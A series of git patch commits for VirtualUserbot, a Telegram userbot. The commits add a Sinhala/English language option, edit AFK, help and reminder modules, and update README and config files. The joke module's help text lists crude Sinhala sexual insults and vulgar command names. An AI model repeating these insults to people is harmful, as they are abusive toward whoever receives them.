Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 - "#AfkLogger User is Back Alive ! No Longer Afk ", + ) + async def on_afk(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alivee = datetime.now() + afk_end = back_alivee.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + afk_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "afk" in current_message_text: + # fridaybot's should not reply to other fridaybot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 + if afk_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_afk = now - afk_time # pylint:disable=E0602 + time = float(datime_since_afk.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + afk_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + afk_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + wday.strftime("%A") + elif hours > 1: + f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + f"`{int(minutes)}m{int(seconds)}s` **ago**" + else: + f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`" + + f"\n\nමම ඉක්මනටම ආපහු එන්නම්!" + if reason + else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` \n මම ඉක්මනටම ආපහු එන්නම්" ) - except Exception as e: # pylint:disable=C0103,W0703 - await borg.send_message( # pylint:disable=E0602 + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_afk_message: # pylint:disable=E0602 + await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 + last_afk_message[event.chat_id] = msg # pylint:disable=E0602 + +else: + + + + @friday.on( + events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) + ) # pylint:disable=E0602 + async def _(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + global reason + USER_AFK = {} + afk_time = None + last_afk_message = {} + afk_end = {} + start_1 = datetime.now() + afk_start = start_1.replace(microsecond=0) + reason = event.pattern_match.group(1) + if not USER_AFK: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) + ) + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + afk_time = datetime.datetime.now() # pylint:disable=E0602 + USER_AFK = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await borg.send_message( + event.chat_id, + f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`", + ) + else: + await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.") + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + f"#AfkLogger Afk Is Active And Reason is {reason}", + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + + @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 + async def set_not_afk(event): + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alive = datetime.now() + afk_end = back_alive.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + current_message = event.message.message + if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 + shite = await borg.send_message( event.chat_id, - "Please set `PRIVATE_GROUP_ID` " - + "for the proper functioning of afk functionality " - + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), - reply_to=event.message.id, - silent=True, + "__Pro is Back Alive__\n**No Longer afk.**\n `I Was afk for:``" + + total_afk_time + + "`", ) - await asyncio.sleep(5) - await shite.delete() - USER_AFK = {} # pylint:disable=E0602 - afk_time = None # pylint:disable=E0602 + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + "#AfkLogger User is Back Alive ! No Longer Afk ", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PRIVATE_GROUP_ID` " + + "for the proper functioning of afk functionality " + + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + await asyncio.sleep(5) + await shite.delete() + USER_AFK = {} # pylint:disable=E0602 + afk_time = None # pylint:disable=E0602 -@friday.on( - events.NewMessage( # pylint:disable=E0602 - incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + @friday.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + ) ) -) -async def on_afk(event): - if event.fwd_from: - return - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - back_alivee = datetime.now() - afk_end = back_alivee.replace(microsecond=0) - if afk_start != {}: - total_afk_time = str((afk_end - afk_start)) - afk_since = "**a while ago**" - current_message_text = event.message.message.lower() - if "afk" in current_message_text: - # fridaybot's should not reply to other fridaybot's - # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots - return False - if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 - if afk_time: # pylint:disable=E0602 - now = datetime.datetime.now() - datime_since_afk = now - afk_time # pylint:disable=E0602 - time = float(datime_since_afk.seconds) - days = time // (24 * 3600) - time = time % (24 * 3600) - hours = time // 3600 - time %= 3600 - minutes = time // 60 - time %= 60 - seconds = time - if days == 1: - afk_since = "**Yesterday**" - elif days > 1: - if days > 6: - date = now + datetime.timedelta( - days=-days, hours=-hours, minutes=-minutes - ) - afk_since = date.strftime("%A, %Y %B %m, %H:%I") + async def on_afk(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alivee = datetime.now() + afk_end = back_alivee.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + afk_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "afk" in current_message_text: + # fridaybot's should not reply to other fridaybot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 + if afk_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_afk = now - afk_time # pylint:disable=E0602 + time = float(datime_since_afk.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + afk_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + afk_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + wday.strftime("%A") + elif hours > 1: + f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + f"`{int(minutes)}m{int(seconds)}s` **ago**" else: - wday = now + datetime.timedelta(days=-days) - wday.strftime("%A") - elif hours > 1: - f"`{int(hours)}h{int(minutes)}m` **ago**" - elif minutes > 0: - f"`{int(minutes)}m{int(seconds)}s` **ago**" - else: - f"`{int(seconds)}s` **ago**" - msg = None - message_to_reply = ( - f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`" - + f"\n\nමම ඉක්මනටම ආපහු එන්නම්!" - if reason - else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` \n මම ඉක්මනටම ආපහු එන්නම්" - ) - msg = await event.reply(message_to_reply) - await asyncio.sleep(5) - if event.chat_id in last_afk_message: # pylint:disable=E0602 - await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 - last_afk_message[event.chat_id] = msg # pylint:disable=E0602 + f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"**My Boss is Afk** \n**AFKT** : `{total_afk_time}`\n**Reason** : `{reason}`" + + f"\n\nHe Will Reply To You Soon!" + if reason + else f"**My Master is Afk**\n AFK : `{total_afk_time}` He Will Comeback Soon" + ) + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_afk_message: # pylint:disable=E0602 + await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 + last_afk_message[event.chat_id] = msg # pylint:disable=E0602 + CMD_HELP.update( From ceb92e5f32c187100fe8d0f27e76d9ac465d8dcc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:50:35 +0530 Subject: [PATCH 365/838] =?UTF-8?q?=F0=9F=A4=97=20Multi=20Language=20Suppo?= =?UTF-8?q?rt=20=F0=9F=A4=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Now allows you to Switch between Sinhala and English --- app.json | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/app.json b/app.json index 9914b13c..b6108875 100644 --- a/app.json +++ b/app.json @@ -27,6 +27,10 @@ "description": "Enter Username Here ", "value": "" }, + "lang": { + "description": "Enter the Userbot's language ( si , en ) <= Simple letters are copulsory.. only support si and en ", + "value": "en" + }, "APP_ID": { "description": "Get this value from my.telegram.org! Please do not steal", "value": "" From e9fa301763df4426f072279e9b781b0166234d28 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:58:17 +0530 Subject: [PATCH 366/838] =?UTF-8?q?=F0=9F=98=B3=20Multi=20Language=20Suppo?= =?UTF-8?q?rt=20=F0=9F=98=B3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/README.md b/README.md index 32d73ebb..1d687d83 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,21 @@ Add [MissRoseBot](t.me/missrosebot) to you group and give Admin permissions. Turn Chat history for members in Manage group send ```/id``` and get the group's ID +## 5) Bot Language (lang) + +### VirtualUserbot Support Multiple languages.. +#### Currently Available Languages are +- Sinhala (si) +- English (en) + +Enter ```si``` or ```en``` in lang section while deploying to deply bot in desired Language + +#### You can always change Languages by sending + +To Sinhala => +```.set var lang si``` +To English => +``` .set var lang en``` # From e741568976c26f7e126a91ca7f2ea586bc25badf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:58:56 +0530 Subject: [PATCH 367/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1d687d83..72b8c9be 100644 --- a/README.md +++ b/README.md @@ -68,7 +68,7 @@ send ```/id``` and get the group's ID - Sinhala (si) - English (en) -Enter ```si``` or ```en``` in lang section while deploying to deply bot in desired Language +Enter ```si``` or ```en``` in lang section while deploying to deploy bot in desired Language #### You can always change Languages by sending From afa0db92da290b13a8f41548a49ed448a7630a6d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 00:06:05 +0530 Subject: [PATCH 368/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 72b8c9be..ff4a3846 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ Add [MissRoseBot](t.me/missrosebot) to you group and give Admin permissions. Turn Chat history for members in Manage group send ```/id``` and get the group's ID -## 5) Bot Language (lang) +## 5) Bot Language (Si or En) ### VirtualUserbot Support Multiple languages.. #### Currently Available Languages are From bdcdbc062548f6dedc5afa621da8a24418f087db Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 00:12:13 +0530 Subject: [PATCH 369/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 92a577ba..aeedbcb2 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -194,7 +194,7 @@ async def sed(event): # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") sed = f"""VirtualUserbot Modules Are Listed Here !\n - For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - Sinhala (Sinhalese)""" await event.edit(message=sed, buttons=buttons) @@ -447,7 +447,7 @@ async def sed(event): # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") sed = f"""VirtualUserbot Userbot Modules Are Listed Here !\n - For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - English (Standard)""" await event.edit(message=sed, buttons=buttons) From c6e7e1cea6192c24bbfef5c1000b3b6f1bd2ca3e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 00:16:20 +0530 Subject: [PATCH 370/838] Create language.py --- fridaybot/modules/language.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 fridaybot/modules/language.py diff --git a/fridaybot/modules/language.py b/fridaybot/modules/language.py new file mode 100644 index 00000000..9fe33bb3 --- /dev/null +++ b/fridaybot/modules/language.py @@ -0,0 +1,11 @@ +from fridaybot import CMD_HELP + +CMD_HELP.update( + { + "Language": "**Language :** Change the Bot's Language\ + \n\n📌** CMD ★** `.set var lang en`\ + \n**USAGE ★ **Change the Bot's Language to English (Standard)\ + \n\n📌** CMD ★** `.set var lang si`\ + \n**USAGE ★ **Change the Bot's Language to Sinhala (Sinhalese)" + } +) From dec0309f547b4fd70c644e8230f8b03a80fbec48 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 00:22:01 +0530 Subject: [PATCH 371/838] Update _helper.py --- fridaybot/modules/_helper.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 99b23378..06d66476 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,6 +1,10 @@ -from fridaybot import CMD_LIST,ALIVE_NAME +from fridaybot import CMD_LIST,ALIVE_NAME, lang DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" - +if lang == "si": + LANGUAG = "Sinhala" +else: + LANGUAG = "English" + @command(pattern="^.help ?(.*)") async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): @@ -30,7 +34,7 @@ async def cmd_list(event): await event.edit(input_str + " is not a valid plugin!") else: help_string = f"""VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact {DEFAULTUSER}""" +For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {LANGUAGE}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string ) From 16d0c9bf0bceba6d90de4817f2244ac3f4d6e134 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 00:25:03 +0530 Subject: [PATCH 372/838] Update _helper.py --- fridaybot/modules/_helper.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 06d66476..eceefa21 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,10 +1,6 @@ from fridaybot import CMD_LIST,ALIVE_NAME, lang DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" -if lang == "si": - LANGUAG = "Sinhala" -else: - LANGUAG = "English" - + @command(pattern="^.help ?(.*)") async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): @@ -34,7 +30,7 @@ async def cmd_list(event): await event.edit(input_str + " is not a valid plugin!") else: help_string = f"""VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {LANGUAGE}""" +For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {lang}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string ) From 66ff1b34019b291bdcb1e2a944ec841d95994c3b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 08:20:29 +0530 Subject: [PATCH 373/838] Update ping.py --- fridaybot/modules/ping.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 11f8e7ae..00a6b690 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -44,7 +44,7 @@ async def _(event): ms = (end - start).microseconds / 1000 uptime = get_readable_time((time.time() - Lastupdate)) await starkislub.edit( - f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" + f"**🙈වැඩ වැඩ මහත්තයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" ) else: From 0645b31b0bdc1b5900fe174c063752a6b59280a0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 08:34:20 +0530 Subject: [PATCH 374/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ff4a3846..af1e8e40 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Fork

    -

    +

    # 😍 Credits From 13899e4cc49bdb6937c6e45e2d8238f950008899 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 08:37:10 +0530 Subject: [PATCH 375/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index af1e8e40..cbe27cee 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Fork

    -

    +

    # 😍 Credits From c9391d25646f241a6b95e5eb11069c5661499b79 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 08:38:10 +0530 Subject: [PATCH 376/838] Update Configs.py --- fridaybot/Configs.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 36e043e8..8eba5bc0 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -159,11 +159,11 @@ class Config(object): "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" + "ALIVE_IMAGE", "https://telegra.ph/file/4e1364fb18f899ad47dec.png" ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", - "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png", + "https://telegra.ph/file/4e1364fb18f899ad47dec.png", ) TESSDATA_PREFIX = os.environ.get( "TESSDATA_PREFIX", "/usr/share/tesseract-ocr/4.00/tessdata" From 1b89d4bc592c7b293d5ae17a6064864671c93236 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 08:38:50 +0530 Subject: [PATCH 377/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 5e6e25fe..2dde14c4 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -12,7 +12,7 @@ PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" + WARN_PIC = "https://telegra.ph/file/4e1364fb18f899ad47dec.png" else: WARN_PIC = PMPERMIT_PIC From fd48764ed98688caa8d36e005447738043f921c0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 09:12:53 +0530 Subject: [PATCH 378/838] Update README.md --- README.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index cbe27cee..4f8d6d0b 100644 --- a/README.md +++ b/README.md @@ -13,12 +13,14 @@

    -# 😍 Credits ### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. + +# 😍 Credits +### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot).. Full credits to Friday Developers #### Special thanks To Friday And Dark Cobra Bot a lot ``` Full credits mentioned at the bottom``` -# +# # ❤️ Support @@ -180,7 +182,7 @@ python3 -m fridaybot # Licence [![GNU GPLv3 Image](https://www.gnu.org/graphics/gplv3-127x51.png)](http://www.gnu.org/licenses/gpl-3.0.en.html) -FridayUserbot is Free Software: You can use, study share and improve it at your +VirtualUserbot is Free Software: You can use, study share and improve it at your will. Specifically you can redistribute and/or modify it under the terms of the [GNU General Public License](https://www.gnu.org/licenses/gpl.html) as published by the Free Software Foundation, either version 3 of the License, or From e059268c5f5b2da447b3442a3b6822016363602a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 20:38:39 +0530 Subject: [PATCH 379/838] Create reminder.py --- fridaybot/modules/reminder.py | 52 +++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 fridaybot/modules/reminder.py diff --git a/fridaybot/modules/reminder.py b/fridaybot/modules/reminder.py new file mode 100644 index 00000000..775066c6 --- /dev/null +++ b/fridaybot/modules/reminder.py @@ -0,0 +1,52 @@ +# Created By @krish1303y For Black Lightning +# For Setting Remainder In TG + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError +import asyncio +from ..utils import admin_cmd +from userbot import CMD_HELP + + +@borg.on(admin_cmd(pattern="skeedy?(.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SkeddyBot" + await event.edit("```Wait...```") + await asyncio.sleep(2) + await event.edit("```Setting You Remainder.........```") + await asyncio.sleep(3) + await event.edit(f"Done Remainder Set For {input_str}") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await conv.send_message("/start") + await conv.get_response() + await conv.send_message("Asia/Kolkata") + await conv.get_response() + await conv.send_message("➕Add" + input_str) + await conv.get_response() + audio = await conv.get_response() + await borg.send_message(event.chat_id, audio.text) + await event.delete() + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SkeddyBot```") + return + if response.text.startswith("I can't find that"): + await event.edit("👀") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + CMD_HELP.update( + { + "skeedy": ".skeedy ` \nUse - Set A Remainder" + + } +) From 4873768122a4ada0aa1a443bc049960ce4dcd132 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 20:40:14 +0530 Subject: [PATCH 380/838] Update README.md --- fridaybot/modules/README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/README.md b/fridaybot/modules/README.md index 54eaf93e..155ee5a3 100644 --- a/fridaybot/modules/README.md +++ b/fridaybot/modules/README.md @@ -1,4 +1,7 @@ -## VirtualUserbot (Based on FridayUserbot by StarkGang) +# Modules of VirtualUserbot + + +## Credits to FridayUserbo # EXAMPLE CODE ! ```python3 from fridaybot.utils import friday_on_cmd, sudo_cmd, edit_or_reply From d154f5de79f6dd7e42e3eae96979379e2cb7408e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 20:40:31 +0530 Subject: [PATCH 381/838] Update README.md --- fridaybot/modules/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/README.md b/fridaybot/modules/README.md index 155ee5a3..dab1aff7 100644 --- a/fridaybot/modules/README.md +++ b/fridaybot/modules/README.md @@ -1,7 +1,7 @@ # Modules of VirtualUserbot -## Credits to FridayUserbo +## Credits to FridayUserbot # EXAMPLE CODE ! ```python3 from fridaybot.utils import friday_on_cmd, sudo_cmd, edit_or_reply From 84739597c5426be3dc5cd9f2bb1015e3865ee9b9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 21:51:19 +0530 Subject: [PATCH 382/838] Update reminder.py --- fridaybot/modules/reminder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/reminder.py b/fridaybot/modules/reminder.py index 775066c6..28a13997 100644 --- a/fridaybot/modules/reminder.py +++ b/fridaybot/modules/reminder.py @@ -5,7 +5,7 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError import asyncio from ..utils import admin_cmd -from userbot import CMD_HELP +from fridaybot import CMD_HELP @borg.on(admin_cmd(pattern="skeedy?(.*)")) From 62a1392ddbc1dc47c2bfa68435e40e008b9ce6ce Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 7 Jan 2021 22:02:32 +0530 Subject: [PATCH 383/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 16257cec..46a37164 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -241,7 +241,15 @@ async def gn(event): "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", ) - +@bot.on(admin_cmd(pattern="bs$")) +@bot.on(sudo_cmd(pattern="bs$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", + ) + + @bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) @bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) async def runstrings(event): @@ -537,4 +545,4 @@ async def _(event): -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) From 8ab87d9a6360c2f501ec1516aaf5ae22862337bf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 00:22:24 +0530 Subject: [PATCH 384/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index aeedbcb2..420420bd 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -26,7 +26,7 @@ async def inline_handler(event): builder = event.builder result = None query = event.text - if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): + if event.query.user_id == bot.uid and query.startswith("🥷 VirtualUserbot"): rev_text = query[::-1] buttons = paginate_help(0, CMD_HELP, "helpme") result = builder.article( @@ 